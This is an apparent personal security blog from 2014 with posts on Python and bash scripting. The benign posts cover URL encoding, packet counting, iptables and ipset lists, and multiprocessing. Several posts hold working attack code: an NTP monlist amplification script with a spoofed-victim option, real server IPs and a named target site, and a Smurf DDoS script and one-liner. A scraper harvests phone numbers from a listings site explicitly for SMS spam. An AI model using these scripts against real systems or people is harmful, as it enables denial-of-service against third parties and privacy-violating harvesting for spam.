Monday, September 15, 2014

URL encoder / Percent-encoding Like '%75%72%6C %65%6E%63%6F%64%69%6E%67' with Python.

With some injection techniques, we need sometimes to encode some string to URL-Encoded string (Percent-encoding).

I've found a lot of resources that can encode/decode your text to URL encoding.
But.
All of them does not encoding ASCII characters, like 'A' or 'S' for example.

If you want to encode this: ['some text], you will get this: [%27some%20text].
And I want all that string to be encoded, including 'some' and 'text'.
Decided to make this in python.

What is %20? It is hexadecimal value of 'space'.
I will use method .encode('hex_codec').
>>> ' '.encode('hex_codec')
'20'

Append '%' to it's value, and woala, you've got URL encoded 'space' = %20

Here it is (just a function):
#recieve string >> return URL converted string
def encoder(strings):
   strings = strings.split(' ')
   lst = []
   for s in strings:
      b = ''
      for i in str(s):
         b = b+'%'+i.encode('hex_codec')
      lst.append(str(b))
   all_string = ' '.join(lst).upper()
   return all_string

It should get a string, and return encoded string. (by the way, it will not encode spaces, i don't need it)

If you want a full working and colored script with upper/lower character randomization: 
#!/usr/bin/env python
#__author: Korznikov Alexander, aka nopernik

import sys
from random import randint

#coloring
W = '\033[0m' # Text reset
G = '\033[32m' # green
R = '\033[31m' # red
B = '\033[34m' # blue

#recieve string >> return URL converted string
def encoder(strings):
   strings = strings.split(' ')
   lst = []
   for s in strings:
      b = ''
      for i in str(s):
         b = b+'%'+i.encode('hex_codec')
      lst.append(str(b))
   all_string = ' '.join(lst).upper()
   return all_string

def randomize(data):
   s = ''
   for i in data:
      if randint(1,10) % 2: 
         s += i.lower()
      else:
         s += i.upper()
   return s
   
def main(data):
   rnd_data = randomize(data)
   print '\n(Original Decoded): \'%s%s%s\'' % (B,data,W)
   print '(Original Encoded): \'%s%s%s\'' % (G,encoder(data),W)
   print '\nRandomized Decoded: \'%s%s%s\'' % (R,rnd_data,W)
   print 'Randomized Encoded: \'%s%s%s\'\n' % (G,encoder(rnd_data),W)
   
   
if __name__ == '__main__':
   print '\n'+'-'*37+'\n URL Encoder, by Korznikov Alexander\n'+'-'*37
   if len(sys.argv[1:]) >= 1:
      main(' '.join(sys.argv[1:]))
   else:
      main(raw_input('\nEnter text to encode: '))
   
Example output:
# url_encode.py got some text

-------------------------------------
 URL Encoder, by Korznikov Alexander
-------------------------------------

(Original Decoded): 'got some text'
(Original Encoded): '%67%6F%74 %73%6F%6D%65 %74%65%78%74'

Randomized Decoded: 'GOt SoMe text'
Randomized Encoded: '%47%4F%74 %53%6F%4D%65 %74%65%78%74'

That's all.

Saturday, September 6, 2014

Count Packet per Second. (Bash)

Hi, today i needed to find out how many packets per second flows through the interface.
I understand that there available many variations of such scripts, but for me was faster to code a new one, than to find one that will do exactly what i need

I think the simplest way to find out how many packets pass the interface is to use 'ifconfig' command.

When you run it, you can see RX packets and TX packets.
eth0      Link encap:Ethernet  HWaddr d8:c2:44:32:ba:39  
          inet addr:172.16.1.1  Bcast:172.16.255.255  Mask:255.255.0.0
          inet6 addr: fe80::2ad1:31ff:fe23:a455/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:4420149 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2632000 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:6126039045 (6.1 GB)  TX bytes:202902499 (202.9 MB)
That info will extract with simple bash script:


#!/bin/bash

if [ $1 ]
then
        echo -e "\n"
        iface=$1
else
        echo -e "\n\tPPS: Packets Per Second."
        echo -e "\t------------------------"
        echo -e "\tUsage: $0 [interface]\n"
        exit 1
fi

rxtotal=0
txtotal=0
cnt=0
while :
do
        cnt=`expr $cnt + 1`
        rx=$(ifconfig $iface |grep "RX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        tx=$(ifconfig $iface |grep "TX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        sleep 1
        rx2=$(ifconfig $iface |grep "RX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        tx2=$(ifconfig $iface |grep "TX packets"|tr -s " "| cut -d" " -f3|cut -d":" -f2)
        rxnow=`expr $rx2 - $rx`
        txnow=`expr $tx2 - $tx`
        rxtotal=`expr $rxnow + $rxtotal`
        txtotal=`expr $txnow + $txtotal`

        echo -n -e "RX: $rxnow, Avg: `expr $rxtotal / $cnt` | TX: $txnow, Avg: `expr $txtotal / $cnt`                       \r"
done

Usage:
# ./pps

 PPS: Packets Per Second.
 ------------------------
 Usage: ./pps [interface]


Output:
#./pps eth0

RX: 0, Avg: 12 | TX: 0, Avg: 7
That's all.

Monday, September 1, 2014

Add python tab completion in interactive shell

I've notices that Scapy has 'Tab' completions. So i want it to work in regular python shell.
All you need is to create a file '.pythonrc' and add this:
try:
    import readline
except ImportError:
    print("Module readline not available.")
else:
    import rlcompleter
    readline.parse_and_bind("tab: complete")

Next, add this file to PYTHONSTARTUP bash variable:
# echo "export PYTHONSTARTUP=~/.pythonrc" >> ~/.bashrc

Start python, press 'TAB' button, and see what you can do:
#python
>>>
>>> import random
>>> random.
random.BPF                  random.__reduce__(          random.betavariate(
random.LOG4                 random.__reduce_ex__(       random.choice(
random.NV_MAGICCONST        random.__repr__(            random.division
random.RECIP_BPF            random.__setattr__(         random.expovariate(
random.Random(              random.__sizeof__(          random.gammavariate(
random.SG_MAGICCONST        random.__str__(             random.gauss(
random.SystemRandom(        random.__subclasshook__(    random.getrandbits(
random.TWOPI                random._acos(               random.getstate(
random.WichmannHill(        random._ceil(               random.jumpahead(
random._BuiltinMethodType(  random._cos(                random.lognormvariate(
random._MethodType(         random._e                   random.normalvariate(
random.__all__              random._exp(                random.paretovariate(
random.__class__(           random._hashlib             random.randint(
random.__delattr__(         random._hexlify(            random.random(
random.__dict__             random._inst                random.randrange(
random.__doc__              random._log(                random.sample(
random.__file__             random._pi                  random.seed(
random.__format__(          random._random              random.setstate(
random.__getattribute__(    random._sin(                random.shuffle(
random.__hash__(            random._sqrt(               random.triangular(
random.__init__(            random._test(               random.uniform(
random.__name__             random._test_generator(     random.vonmisesvariate(
random.__new__(             random._urandom(            random.weibullvariate(
random.__package__          random._warn(               
>>> random.
Isn't this cool? :)

Nice bash alias :)

Hi there, if you want to find out your IP address in terminal, it's annoying to type everytime:
# ifconfig eth0

Too much characters :)
Why not to add alias for that?
Let's edit '.bashrc' file, and add alias for that:
alias eth0='ifconfig eth0' 

Save & restart console and woala, just type 'eth0' and you've got the info.

I'll go further, and will make a script inside '.bashrc' file, that will add all interfaces for that automatically:
for line in $(echo $(ls /sys/class/net/) |tr -s ' '|tr ' ' '\n'); do
alias $line="ifconfig $line"
done

As you can see, the script looks into directory '/sys/class/net/' where listed all physical interfaces.

If you have 'wlan0' interface, you will be able to type:
#wlan0
and get the info.

As well, you can manipulate your interface through this command, like:
#eth0 down
Actually the command will be 'ifconfig eth0 down'

Tuesday, August 26, 2014

Amplified Denial of Service with Network Time Protocol (NTP)

Really, i don't know if i should write it here, but I think it will help the Internet to become more secure.

In next lines, I will find some NTP servers that can be used for Amplified Denial of Service attack.

What does that mean, Amplification? You send couple of bytes, and get response of thousand bytes.
NTP Servers for example. You can request from one, last 600 clients that used that server. You send one request, and as response you get tons of info.

If you will spoof senders IP, response will be received by spoofed IP. So, when you do that many times, you will eat all bandwidth of your target with UDP responses. DoS.

For example, you want that website like www.hamasinfo.net will go down for some time... Get his IP, spoof it in NTP request and woala! The problem to do so, is to find unpatched NTP servers online.

Really? Use nmap.

Take your provider's IP-Range (for example. you can choose another range), and scan it for open UDP 123 port.
# nmap -p123 -sU -n -Pn --open -oG ntp-servers.txt <your_target/netmask>
Trust me, it will find a lot of NTP servers online. Next, you will need to check them if they support 'monlist' request

I don't know the technique of verification, but you can notice some difference in NTP server responses. Patched NTP server will return one small packet, another will return a lot of packets ~500bytes each one. 

Let's take two servers (maybe they will be offline when you try):
46.120.209.165 - Patched
46.120.212.96 - Unpached

Trying patched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.209.165')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=76 id=0 flags=DF frag=0L ttl=48 proto=udp chksum
=0x9ca6 src=46.120.209.165 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=489
47 len=56 chksum=0xc08f |<Raw  load='\x1c\x00\x04\xfa\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
xd7\xa6\x80~\x00\x00\x00\x00\xd7\xa6\x80~\x00\x00\x00\x00' |>>>
Trying unpatched server:
# scapy

>>>data=str("\x17\x00\x03\x2a") + str("\x00")*4
>>>a = sr1(IP(dst='46.120.212.96')/UDP(sport=48947,dport=123)/str(data), timeout=0.5, verbose=0)
>>>a
<IP  version=4L ihl=5L tos=0x0 len=468 id=41631 flags=DF frag=0L ttl=48 proto=udp ch
ksum=0xf5c3 src=46.120.212.96 dst=172.16.100.100 options=[] |<UDP  sport=ntp dport=4
8947 len=448 chksum=0xb60b |<Raw  load='\xd7\x00\x03*\x00\x06\x00H\x00\x00\x01\xd8\x
00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x00\x02To\xcaX\xc0\xa8\x01\x0f\x00\x00\x00\x0
1\xbf3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x08s\x18n\x16\xb7\xc0
\xa8\x01\x0f\x00\x00\x00\x01\x0c\x02\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\xb8i\x8
br\xd24\x07\x02\x00\n\xa8\xe5\x00\t\xd4~\x00\x00\x01\x80\x00\x00\x00\x02\xb8i\x8bT\x
84E\x06\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00!\xba\xd8Fsu\xc0\
xa8\x01\x0f\x00\x00\x00\x01\x01\xbb\x07\x02\x00\x00\x00\x00\x00\x00\x00\x02\xb8i\x8b
N\xb8\x02\x07\x02\x00\x01\xfcK\x00\x0cw\xfa\x00\x00\x01\x80\x00\x00\x00\t]\xb4\x05\x
1a\xb1\x19\x07\x02\x00\x00\x00\x00\x00\x00\x00\xcb\x00\x00\x01\x80\x00\x00\x04\xb6\x
b1F`n\xc0\xa8\x01\x0f\x00\x00\x00\x01\x15\xb3\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
3\xb8i\x8bJ\x92\x8e\x07\x02\x00\x00\x00\x00\x00\x0e\xd2Y\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd8%\x9fc\x07\x02\x00\x00\x00\x00\x00\x00\x01q\x00\x00\x01\x80\x00\x01>\x0
e%;\xb8t\xc0\xa8\x01\x0f\x00\x00\x00\x01\xa6C\x07\x02\x00\x00\x00\x00\x00\x00\x00\x0
1\xd4\xa4G\x94\x93Q\x07\x00\x00\x00\x00\x00\x00\x15F\xe4\x00\x00\x01\x80\x00\x00\x00
\x01G\x06\xd88\x83\x7f\x07\x02\x00\x00\x00\x00\x00\x00\x01\x7f\x00\x00\x01\x80\x00\x
00&\xa5JHW^\xc0\xa8\x01\x0f\x00\x00\x00\x01\x00P\x07\x02\x00\x00\x00\x00\x00\x00\x00
\x02\xb8i\x8bV\xbb\xc1\x07\x02\x00\x00\x00\x00\x00\x1a4<\x00\x00\x01\x80\x00\x00\x00
\x01^f1\xa8\x00{\x07\x02' |>>>

The difference that i will use - packet length. If response length is greater (let say) 150, then the server supports 'monlist' request.  If you know a better way of verification, let me know in comments...
#!/usr/bin/env python
import sys
from scapy.all import *
from time import sleep
from threading import Thread,enumerate
import random

try:

   data=str("\x17\x00\x03\x2a") + str("\x00")*4   #monlist request

   #shell argument parsing
   if '--victim' in sys.argv:
      target = sys.argv[sys.argv.index('--victim') + 1]
   else:
      target = conf.route.routes[-1][-1]   #find out your IP address

   if '-f' in sys.argv:
      inputfile = sys.argv[sys.argv.index('-f') + 1]
   else:
      inputfile = sys.argv[1]

   def ntp_check(ntpserver,target):
      try:
         a = sr1(IP(dst=str(ntpserver),src=target)/UDP(sport=random.randomint(1024,65535),dport=123)/str(data), timeout=0.5, verbose=0)
         if a[IP].len > 150:
            print '%s is VULNERABLE' % ntpserver
      except:
         return
      
   with open(inputfile) as srv_list:
      for ntpserver in srv_list.read().split():
         try:
            t = Thread(target=ntp_check, args=(ntpserver,target))
            t.start()
         except:
            pass
      t.join()
      while len(enumerate()) > 1:
         sleep(0.1)
         
except:
   print '\n\tUsage: %s -f srv_list.txt [--victim ]\n' % sys.argv[0]
   print sys.exc_info()
If you understand what i've coded, you can easily upgrade this code with multiprocessing module, using multiprocessing template.

For those who owns unpatched NTP Servers, there are at least three ways to patch it:
1. Update ntpd to version 4.2.7p26. In FreeBSD update ports and install ntpd from net/ntp-devel.
2. Disable monlist in ntp.conf, adding a line:
disable monitor
3. Or disable any status queries in restrict default:
restrict default kod nomodify notrap nopeer noquery
restrict -6 default kod nomodify notrap nopeer noquery

Maybe, you didn't know, that you server is accessible from outside :)

Wednesday, August 13, 2014

Multiprocessing Python Template.

Hi there.
Today I often use multiprocessing module, and i needed some template to write scripts a little faster..

Hope it will be useful to you.
#!/usr/bin/env python
#Multiprocessing template

from multiprocessing import Pool,cpu_count,active_children,Lock
import signal
from time import sleep
import sys


class TimeoutException(Exception):
    """ Simple Exception to be called on timeouts. """
    pass

def _timeout(signum, frame):
    """ Raise an TimeoutException.

    This is intended for use as a signal handler.
    The signum and frame arguments passed to this are ignored.

    """
    # Raise TimeoutException with system default timeout message
    raise TimeoutException()

# Set the handler for the SIGALRM signal:
signal.signal(signal.SIGALRM, _timeout)
# Send the SIGALRM signal in 10 seconds:

# Multiprocessing with KeyboardInterrupt
def init_worker():
        signal.signal(signal.SIGINT, signal.SIG_IGN)
        
        
        
def $$somefunc$$($$args$$):

        try:
                signal.alarm(5)                 #timeout exception
                
                $$do something$$
                
                return $$some data$$
        except Exception:
                pass
        except TimeoutException:
                print 'It timed out!'
        finally:
                signal.alarm(0) 


def main():
        try:
                def cb(data):
                        if data:
                                $$do something with returned data$$
                  
                pool = Pool(processes=cpu_count()*10, initializer=init_worker) #processes = CPU*10 = 40 (if 4 CPUs)
                
                for i in $$some_list$$:
                        pool.apply_async($$somefunc$$, ($$args$$,), callback=cb) #callback function defined above
                pool.close()

                #wait for worker processes completes job 
                while len(active_children()) > 1:
                        sleep(0.5)
                pool.join()
                return
                
        # ^C will kill all running processes and return to main function
        except KeyboardInterrupt:
                print " Terminating..."
                pool.close()
                pool.terminate()
                return
        else:
                print sys.exc_info()
                return


By the way, instead of callback() function, shared memory can be managed by Manager() module.

Manager module type support: list, dict, Namespace, Lock, RLock, Semaphore, BoundedSemaphore, Condition, Event, Queue, Value and Array.


Set as global variable:
manager = Manager.list()
lock = Lock()   #pass this lock to worker process

Call in running process:
with lock:   
   manager.append($$something$$)

#the lock is necessary, because of two processes can try to read the same value before editing it.


Maybe it's a mess for you, but maybe it will help.

Phone numbers harvesting from homeless.co.il website. (Python)

Hi there.
If you ever though about such a nasty thing like SMS spamming, you had need a phone number database to do that.
 
Or you just want to call them?

I will show you one technique to harvest phone numbers from... hmm http://www.homeless.co.il - that will be enough.

Let's say, you need all phone numbers that involved in real estate ok?
So, we go to the homeless web site, and see column called 'מכירה תיווך', and URL for that:

http://www.homeless.co.il/saletivuch/

If you look closer, you can find the 'details' section (לפרטים) on the left side of the ad.
If you click here, new popup window will be opened with link like:

http://www.homeless.co.il/SaleTivuch/viewad,367948.aspx


Something is coming to your head? Any thoughts?

All we need, is to grab all AD numbers from the main URL (including all secondary pages), and parse every VEWAD.URL for extracting phone numbers.

If you can see, there is not only one page of ads, there are about 130 pages.
The difference in URL: number of page is added after the main URL:

http://www.homeless.co.il/saletivuch/[1-10]

Let's do it automatically with python:
First of all, will determine how many pages we need to parse:

Take a closer look at the source:


Will extract total number of pages with BeautifulSoup library:
#!/usr/bin/python

from bs4 import BeautifulSoup
import urllib2
import re

path_name = 'saletivuch'

r = urllib2.urlopen('http://www.homeless.co.il/%s/' % path_name)
if r.code == 200:
   got_url = r.read()
   soup = BeautifulSoup(got_url)

   #determine how many pages we have to get:

   #In one line it will look like this:   
   #pages = [i.get('value') for i in BeautifulSoup(str(soup.find_all('select',{'id':'jump_page'}))).find_all('option')]

   #But i will write it in a more understandable format:   
   jump_page_id = str(soup.find_all('select',{'id':'jump_page'}))

   soup2 = BeautifulSoup(jump_page_id)
   pages = []

   for i in soup2.find_all('option'):
      pages.append(i.get('value'))
   print '%d pages to parse' % len(pages)
   

Let's extract ad.ID from every page:
 

   #get every ad.Number from every page:
   
   ads = []
   for i in pages:
      try:
         r = urllib2.urlopen('http://www.homeless.co.il/%s/%s' % (path_name,i))
         inner_url = r.read()
         soup = BeautifulSoup(inner_url)
         
         #one line will look like this:
         #ads += [r.get('id').split('_')[1] for r in soup.find_all('tr',{'class':'ad_details'})]

         for num in soup.find_all('tr',{'class':'ad_details'}):
            ads.append(num.get('id').split('_')[1])
            print 'Total ads collected: %d' % len(ads)
            
      # added ^C exception if you don't want to wait 130 pages :)      
      except KeyboardInterrupt:
         break
   print 'total ads collected: %d' % len(ads)


Extract phone numbers from '/viewad,XXXXXX.aspx' page:
There is no special 'class' or 'id' to lock on, so will grab them with regex:
   #Extract phone numbers from every AD.

   phones = []
   for i in ads:
      try:
         r = urllib2.urlopen('http://www.homeless.co.il/saletivuch/viewad,%s.aspx' % i)
         got_ad = r.read()

         #you should remember that re.findall() returns list of matches
         #so we can just extend the main list with new one

         phones += re.findall(r'\b0[2-9][0-9]?-?[0-9]{7}\b',got_ad)

         print 'Total phone numbers collected: %d' % len(phones)
      except KeyboardInterrupt:
         break
         
   for i in phones: print i,

Threading/Multiprocessing adding is necessary, otherwise you will wait a lot of time for job completion.

REMEMBER: SPAM IS ILLEGAL and I'm NOT responsible for how do you use the information covered in this post, or part of it!

Thursday, August 7, 2014

Creating a black-list of IP's for iptables. (Python)

Hi there.
Let's create a blacklist of IP's for iptables firewall. In Python.
Last week the homework was to create a black-list 'object' of IPSET for iptables firewall.

Really, don't know if someone of my classmates has done this, so i asked my teacher for if I can post it here. Maybe it will help someone to understand how to do that.

What we need to do, is to parse all IP addresses from sources below:

BAN-LISTS:
http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1
http://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1
http://www.maxmind.com/en/anonymous_proxies
http://danger.rulez.sk/projects/bruteforceblocker/blist.php
http://rules.emergingthreats.net/blockrules/compromised-ips.txt

http://rules.emergingthreats.net/blockrules/rbn-ips.txt
http://www.spamhaus.org/drop/drop.lasso
http://cinsscore.com/list/ci-badguys.txt
http://www.openbl.org/lists/base.txt
http://www.autoshun.org/files/shunlist.csv
http://lists.blocklist.de/lists/all.txt
It's a simple algorithm:
1. Read URL's in loop.
2. Extract needed data
3. Append it to some list
4. Create new SET in IPSET (if needed)
5. Apply all data to IPSET 
 
When you take a look at the sources one-by-one, you can notice, that there are two variations of data to parse:
1. IP Address
2. IP Network

Fine. I think, the easiest way to extract this data is regular expressions (regex).

First what we need to do: list variable with allllll URL's:
Can be done with opening file, or just create a variable:
# Your links with blacklisted IP's
links = '''
http://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1
http://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1
http://www.maxmind.com/en/anonymous_proxies
http://danger.rulez.sk/projects/bruteforceblocker/blist.php
http://rules.emergingthreats.net/blockrules/compromised-ips.txt
#http://rules.emergingthreats.net/blockrules/rbn-ips.txt
http://www.spamhaus.org/drop/drop.lasso
http://cinsscore.com/list/ci-badguys.txt
http://www.openbl.org/lists/base.txt
http://www.autoshun.org/files/shunlist.csv
http://lists.blocklist.de/lists/all.txt
'''
 
Note, that there is one commented URL, this one is not working. You can delete it, or just parse '#' character. (see below)

Next, will load URL, and parse it.
I like Python Requests module, you can use urllib module:
import requests
from netaddr import *

ip_list = []

# Get & Extract IP addresses function
def geturl(i):
   try:
      global ip_list
      print 'Parsing \'%s\'' % i
      r = requests.get(i)
      
      #if status code 200
      if r.ok:
         ip_list += [IPNetwork(i) for i in re.findall(r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\/?[0-9]{1,2}?\b',r.content)]
   except:
      pass

Let me explain some BOLD points:

1. First of all, maybe you don't know how to make a for loop in one line: 

For example, next two pieces of code are identical:
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = []

for i in tuple_list:
   new_list.append(i[0])
tuple_list = [('abc',123),('def',456),('ghi',789)]

new_list = [i[0] for i in tuples_list]

2. re.findall() method: It will return LIST type. So we can loop in it.
3. IPNetwork() is method from netaddr module, that will: 
    a) check if the IP Address is valid; 
    b) Append to it netmask /32 if single IP.
4. HTTP Status CODE. If you don't know what HTTP Status code is, you have a huge gap in your knowledge. Read here.
5. requests.get() method of requests module, that will load your URL. r.content = raw data from that URL
6. Last one is first one: global ip_list. This mean that in that specific function 'ip_list' variable will be global and not local variable.

Next:
# Get every URL in loop, IGNORE commented lines, extract every IP including subnet mask e.g. '1.1.1.1/32'

for i in links.split():
   if not i[0] == '#':      #ignore commented line
      geturl(i)
Pretty easy, huh?

And the last piece of code:
ip_list = cidr_merge(ip_list)
It is amazing function that will merge IP addresses to subnets!
For example: 1.1.1.0 and 1.1.1.1 will be merged to 1.1.1.0/31

About applying all the data to IPSET, but replace 'hash:ip' with 'hash:net'

For educational purposes I will not post FULL CODE. You can easily make your's from the examples above.

Good Luck. A.K.


P.S. Hope your list[] of knowledge has been .updated :)

Wednesday, August 6, 2014

Angry Smurfs. Distributed Denial-of-Service Attack

Today we've learned about network attacks. One of them was "Smurf Attack"

From Wiki:
The Smurf Attack is a distributed denial-of-service attack in which large numbers of Internet Control Message Protocol (ICMP) packets with the intended victim's spoofed source IP are broadcast to a computer network using an IP Broadcast address. Most devices on a network will, by default, respond to this by sending a reply to the source IP address. If the number of machines on the network that receive and respond to these packets is very large, the victim's computer will be flooded with traffic. This can slow down the victim's computer to the point where it becomes impossible to work on. Wikipedia

On the lesson we writed a code in Python Scapy and I've done first:
#!/usr/bin/python

from scapy.all import *
import sys

def send_packet(a):
   send(IP(src=sys.argv[1],dst=a)/ICMP())
   
def main():

   a=arping('172.16.0.0/16',verbose=0)
   for i in a[0]:
      send_packet(i[0].pdst)

if __name__ == '__main__':
   main()
Just run it with target IP in parameter. For test purposes only :)

After the lesson, i've told to my friend Viktor, that it's possible to write this script in one line in interactive shell. He told me that is maximum two lines.

Challenge accepted! :) And the result:
>>>send(IP(src='172.16.100.100',dst=[i[0].pdst for i in arping('172.16.0.0/16')[0]])/ICMP()) 
Выкуси! :)

Thursday, July 31, 2014

Extreme secured system in 3 lines with iptables ;)

If you want to secure your system as hard as possible, type this in terminal:
sudo iptables -P INPUT DROP
sudo iptables -P FORWARD DROP
sudo iptables -P OUTPUT DROP

That's all! You've got a SUPER SECURED SYSTEM! :)

If you don't know what are you doing, learn it! :)

IPSET. Creating white-list for apt-get updates.

Today we've learned about IPSET, an extension for iptables firewall.
The homework was to write a script on python, that will do:

1. Find out all apt-get sources.
2. Get IP's from domain names
3. Create/Update IPSET set.

It is too painful to do it in python. I've done it in bash:
#!/bin/bash
name="apt-white"      #change it for your needs
function makeset(){
 check=$(sudo ipset list $name |grep -o $name)
 if [[ ! "$check" == "$name" ]]
 then
  sudo ipset create $name iphash
  append_set
 else
  append_set
 fi
}
function append_set(){ 
 ipset flush $name
 ip_list=$(for line in $(echo "$(grep -Ril "http" /etc/apt/ |xargs cat)" |grep http|cut -d":" -f2|cut -d'/' -f3 |sort -u |grep '.'); do host $line;done |grep 'has address' | rev |cut -d' ' -f1 |rev |sort -u)
 for line in $ip_list; do
  ipset -A $name $line
 done
 exit 0
}
makeset

It is only 21 lines. Will see how much code will be in python, next lesson...

UPDATE:

At today's lesson, everyone wrote a script on Python. Here's my: 

#!/usr/bin/env python

from subprocess import Popen,PIPE
from urlparse import urlparse
import sys,re,os
import socket

# Name your SET & Global variables
name = 'apt-white'
srv_list = []
srv_ip = []

# Search in '/etc/apt/' directory for files that includes 'http'
p = Popen('grep -Ril http /etc/apt/'.split(' '),stdout=PIPE)
file_list = p.stdout.read().split()

# Look inside every file in list and extract every domain-name into list(srv_list)
for one_file in file_list:
   with open(one_file,'r') as f:
      for line in f.readlines():
         line = line.lower()
         line = re.findall(r'(https?://\S+)', line)
         if line:
             parsed = urlparse(line[0])
             srv_list.append(parsed.hostname)

# Make DNS lookup for every domain-name in set(srv_list), and return list of IP's in list(srv_ip), IGNORING IPv6 addresses (':' not in string)
for srv in set(srv_list):
   srv_ip += list(set([i[-1][0] for i in socket.getaddrinfo(srv, 80) if not ':' in i[-1][0]]))

# Checking if your SET already exists
command = 'ipset list '+name
p = Popen(command.split(' '),stdout=PIPE)
check = p.stdout.read()

# If not, creating a new one
if not name in check:
   print 'Creating new SET %s' % name
   os.system('ipset create '+name+' iphash')

# If yes, flushing all data in your SET
else:
   print 'Flushing all data in %s' % name
   os.system('ipset flush '+name)

# Appending to the SET all IP addresses we found
for i in set(srv_ip):
   os.system('ipset -A '+name+' '+i)
print '\ndone.'

# Profit! :)

It's a little larger, but also not too big. Only ~35 lines.

Do you know a better way to communicate with shell CLI on Python?

Wednesday, July 30, 2014

Python Multiprocessing global variables

In the beginning, i want to say sorry, if this article will be "messy"...

One day i've noticed, that threading module in python does not working as should be.
Some times it was much slower than in sequential process. Then i learned about GIL (Global Interpreter Lock).

My teacher advised me to use Multiprocessing module.
Fine. It is very simple, just copy/replace:

threading >> multiprocessing
Thread >> Process

That's all! It will work. But how?

In 'Threading' module, threads have shared memory, Threads can manipulate global variables of main thread, instead of multiprocessing module, that runs another subprocess in memory and it does not have shared memory like threading.

For example:
#Threading Example

from threading import Thread

#defining a global variable
mylist = []

def somefunc(a):
    global mylist
    mylist.append(a)

def main()
    for i in range(100):
       t = Thread(target=somefunc,args=(i,))
       t.start()
    t.join()

#Multiprocessing Example

from multiprocessing import Process

#defining a global variable
mylist = []

def somefunc(a):
    global mylist
    mylist.append(a)

def main()
    for i in range(100):
       t = Process(target=somefunc,args=(i,))
       t.start()
    t.join()

In Threading Example, 'somefunc()' will append to the global 'mylist' variable, instead of Multiprocessing will be empty as it was before.

Solution for this issue came Manager objects of Multiprocessing module.
from multiprocessing import Process,Manager

mylist = Manager.list()

def somefunc(a):
    mylist.append(a)

def main()
    for i in range(100):
       t = Process(target=somefunc,args=(i,))
       t.start()
    t.join()


In one hand, this will help, but in another you will get headache. Because, if you add for example KeyboardInterrupt (^C) support, you will get nothing. Manager object will be empty. OK. Maybe my knowledge is not so good, but i've found another solution to manage variables: Callback function.

But before that, let's add some process control. I want to control how many processes running simultaneously:
from multiprocessing import Pool,cpu_count,active_children

mylist = Manager.list()

def somefunc(a):
    mylist.append(a)

def main()

    #creating pool of worker processes, for 4 Cores will be 40 processes.
    pool = Pool(processes=cpu_count()*10)
    for i in range(100):

       #start processes asynchronous, without waiting until process ends.
       pool.apply_async(somefunc, (i,))
    pool.close()

    #waiting for results of ALL processes
    while len(active_children()) > 1:
       sleep(0.5)
    pool.join()
In this example, there will be no more than 40 processes running at the same time.

Now, will add the Callback function:
from multiprocessing import Pool,cpu_count,active_children

mylist = []

def somefunc(a):
    a += 1
    return a    

def main()
    def cb(data):
        if data:
           global mylist
           mylist.append(data)

    pool = Pool(processes=cpu_count()*10)
    for i in range(100):
       pool.apply_async(somefunc, (i,), callback=cb)
    pool.close()
    while len(active_children()) > 1:
       sleep(0.5)
    pool.join()

Every process will return some data to main process, then will be called callback function, that will manipulate with the data.
For me, callback function is much more easy for use and understand...

Next time will try to tell about successful implementation of KeyboardInterrupt ^C into multiprocessing script. It's another issue.

Monday, July 28, 2014

Wireshark/tshark startup error popup.

Lua: Error during loading: 
[string
"/usr/share/wireshark/init.lua"]:45:
dofile has been disabled

If you get this error when you start up wireshark, it means that you trying to run it with root privileges. It may be dangerous.

If you are using lua scripting with Tshark/Wireshark, then it is strongly recommended to change your system to be able to do capturing and analysis without root privileges. Tshark just protects you from running a script (with endless possibilities to mess up your system if programmed badly) with root privileges.

If not, you can just ignore this error message.

To make this error disappear permanently, you should patch this file on line 29:

'disable_lua = false' change it to 'disable_lua = true'
nano /usr/share/wireshark/init.lua

-- Set disable_lua to true to disable Lua support.
disable_lua = true

UPD:
Someone asked me how to run wireshark without root, here's the solution:
sudo addgroup -system wireshark
sudo chown root:wireshark /usr/bin/dumpcap
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
sudo usermod -a -G wireshark YOUR_USER_NAME

There is nothing new under the sun ...mainly

I just had an idea, to write in python script that will disconnect every client on Wifi except of me :)

Started to code, got some challenges, google, solutions.. and BOOM. There is nothing new under the sun.

How to kick everyone around you off wifi with Python

coded by DanMcInerney.
Learned a lot from this. Thank you Dan :)

Dummy way to "hack" your neighbour's WIFI

When i've just started my study at CSI course, lot of students were so excited of one program called 'wifite'.
There are too many tools for cracking wifi passwords. It's one of them. 
That day, when i came home, i immediately found that wifite. 
It is written in python, and VERY EASY to use. Just start, choose your target, and press start :)

Interesting, that about 4 years before, i've wrote my own script in bash that does almost the same things :(
I've tried this, and felt like a script kiddie.

What you will need:

1. Wifi network card (USB), most of internal laptop's nics are not supported to inject packets.
2. Install dependencies:
aircrack-ng 
python-tk
reaver 
macchanger 
pyrit
